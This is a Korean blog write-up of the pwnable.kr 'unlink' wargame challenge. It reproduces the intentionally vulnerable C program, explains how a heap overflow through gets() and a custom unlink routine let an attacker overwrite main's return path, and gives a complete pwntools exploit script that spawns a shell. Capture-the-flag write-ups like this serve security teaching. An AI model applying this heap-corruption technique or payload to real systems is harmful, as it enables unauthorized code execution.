System&Write up/Pwnable.kr

[pwnable.kr] Toddler's Bottle - unlink

Jubil 2018. 3. 31. 23:58
반응형

[pwnable.kr] Toddler’s Bottle – unlink

 



 

 

 

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

 

typedef struct tagOBJ{

    struct tagOBJ* fd;

    struct tagOBJ* bk;

    char buf[8];

}OBJ;

 

void shell(){

    system("/bin/sh");

}

 

void unlink(OBJ* P){

    OBJ* BK;

    OBJ* FD;

    BK=P->bk;

    FD=P->fd;

    FD->bk=BK;

    BK->fd=FD;

}

 

int main(int argc, char* argv[]){

    malloc(1024);

    OBJ* A = (OBJ*)malloc(sizeof(OBJ));

    OBJ* B = (OBJ*)malloc(sizeof(OBJ));

    OBJ* C = (OBJ*)malloc(sizeof(OBJ));

 

    // double linked list: A <-> B <-> C

    A->fd = B;

    B->bk = A;

    B->fd = C;

    C->bk = B;

 

    printf("here is stack address leak: %p\n"&A);

    printf("here is heap address leak: %p\n", A);

    printf("now that you have leaks, get shell!\n");

    // heap overflow!

    gets(A->buf);

 

    // exploit this unlink!

    unlink(B);

    return 0;

}

Colored by Color Scripter

cs

 

자체적으로 이중 연결 리스트와 unlink를 구현해 놓은 코드입니다.

 


구조를 그렸습니다. prev_sizesize는 생략했습니다. (글씨가 잘려서 BR처럼 보이는 점 죄송합니다.)

 

unlink 함수에 B를 인자로 주게 되면,

 

B->fd->bk = B->bk

B->bk->fd = B->fd

를 수행하게 됩니다.

 

구조를 생각해서 다시 써보겠습니다.

B->fd+4 = B->bk

B->bk = B->fd

 

더 나아가서 Abufgets로 입력을 검증없이 받기 때문에 overflow가 일어날 수 있고,

B->변조1+4 = B->변조2

B->변조2 = B->변조1

가 됩니다. , 원하는 곳의 메모리를 변조시킬 수 있다는 말이죠.

 

그리고 바이너리에서 leak을 해주기 때문에 가져와서 사용하면 됩니다.

 

 

아무 메모리나 변조가 가능하다고 가정하고, main의 마지막 ret 부분을 보겠습니다.

 


 

명령들을 수행하고 나서 ret을 하는데 return address를 계산해보면, *(*(ebp-4)-4)이 됩니다.

 

*(*(ebp-4)-4) : shell 이 되도록 하려면 Abuf에다가 shell 함수의 주소를 넣어주고, *(ebp-4)-4Abuf를 가리키게 하면 됩니다.

 

Abufleaka_heap_add + 8이므로

*(ebp-4)-4 : a_heap_add + 8    //a->buf   이 되고, 양변에 4를 더해주면

*(ebp-4) : a_heap_add + 12     //a->buf   이렇게 됩니다.

 

 


 

그리고 ebp – a_stack_add = 0x14(20)입니다.

ebp–4 = a_stack_add + 0x10(16)입니다.

 

Bfd+4 ebp-4를 넣고 bk Abuf를 넣어준다는 생각으로 계산해보면,

b->fd+4 = ebp-4

b->fd+4 = a_stack_add + 16

b->fd = a_stack_add + 12

fd는 이렇게 나옵니다.

 

*(ebp-4)-4 = a_heap_add + 8

*(ebp-4) = a_heap_add + 12    위에서 설명한 부분

b->bk = *(ebp-4)

b->bk = a_heap_add + 12

bk는 이렇게 나옵니다.

 

abuf에는 shell 함수의 주소가 있어야겠죠?


 

이 정보를 가지고 ex 코드를 짜보겠습니다.

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

from pwn import *

 

= process('/home/unlink/unlink')

= ELF('/home/unlink/unlink')

 

shell = 0x80484eb

 

s.recvuntil('here is stack address leak: ')

a_stack_add = int(s.recv(10), 0)

 

s.recvuntil('here is heap address leak: ')

a_heap_add = int(s.recv(9), 0)

 

payload = p32(shell)

payload += 'BUFF' + 'PREV' + 'SIZE'

payload += p32(a_stack_add + 0xc)    #aim to ebp-4

payload += p32(a_heap_add + 0xc)     #aim to a->buf

 

s.sendline(payload)

 

s.interactive()

Colored by Color Scripter

cs

 


 

flag가 출력됩니다.

주소 계산 때문에 식을 좀 많이 썼네요..


반응형

'System&Write up > Pwnable.kr' 카테고리의 다른 글

[pwnable.kr] Rookiss - fsb  (0) 2018.05.25
[pwnable.kr] Rookiss - echo1  (0) 2018.04.01
[pwnable.kr] Toddler's Bottle - memcpy  (0) 2018.02.27
[pwnable.kr] Toddler's Bottle - asm  (0) 2018.01.31
[pwnable.kr] Toddler's Bottle - uaf  (0) 2018.01.31